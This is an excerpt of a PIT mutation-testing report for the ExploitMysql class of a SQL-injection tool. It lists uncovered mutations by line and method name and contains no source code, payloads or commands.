negated conditional → NO_COVERAGE

89

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

92

1.1
Location : createSql
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createSql → NO_COVERAGE

99

1.1
Location : lambda$createUpload$3
Killed by : none
negated conditional → NO_COVERAGE

106

1.1
Location : lambda$createUpload$3
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

110

1.1
Location : lambda$createUpload$3
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE

128

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

129

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE

142

1.1
Location : lambda$create$4
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE

2.2
Location : lambda$create$4
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE

148

1.1
Location : create
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

151

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

152

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitMysql::copyBodyToShare → NO_COVERAGE

160

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

169

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : create
Killed by : none
negated conditional → NO_COVERAGE

171

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE

175

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

180

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

182

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE

186

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE

192

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

196

1.1
Location : createUdf
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

198

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

205

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

209

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

213

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

215

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

218

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitMysql::copyLibraryToShare → NO_COVERAGE

226

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

227

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

238

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

240

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE

247

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

250

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

252

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

253

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

255

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

257

1.1
Location : getNameLibrary
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getNameLibrary → NO_COVERAGE

271

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

274

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byQueryBody
Killed by : none
changed conditional boundary → NO_COVERAGE

279

1.1
Location : lambda$byQueryBody$5
Killed by : none
replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE

287

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

290

1.1
Location : byQueryBody
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

294

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

303

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

307

1.1
Location : byQueryBody
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byQueryBody → NO_COVERAGE

329

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

332

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

341

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

345

1.1
Location : byNetshare
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byNetshare → NO_COVERAGE

351

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

361

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

369

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

374

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

387

1.1
Location : byTable
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

398

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE

404

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE

415

1.1
Location : buildSysEval
Killed by : none
negated conditional → NO_COVERAGE

417

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE

421

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

424

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE

429

1.1
Location : confirm
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::confirm → NO_COVERAGE

452

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

453

1.1
Location : runRceCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::runRceCmd → NO_COVERAGE

458

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getRead → NO_COVERAGE

474

1.1
Location : toHexChunks
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitMysql::toHexChunks → NO_COVERAGE

485

1.1
Location : copyLibraryToShare
Killed by : none
removed call to java/io/FileOutputStream::write → NO_COVERAGE

506

1.1
Location : uncloak
Killed by : none
replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::uncloak → NO_COVERAGE

510

1.1
Location : getModelYaml
Killed by : none
replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::getModelYaml → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.22.1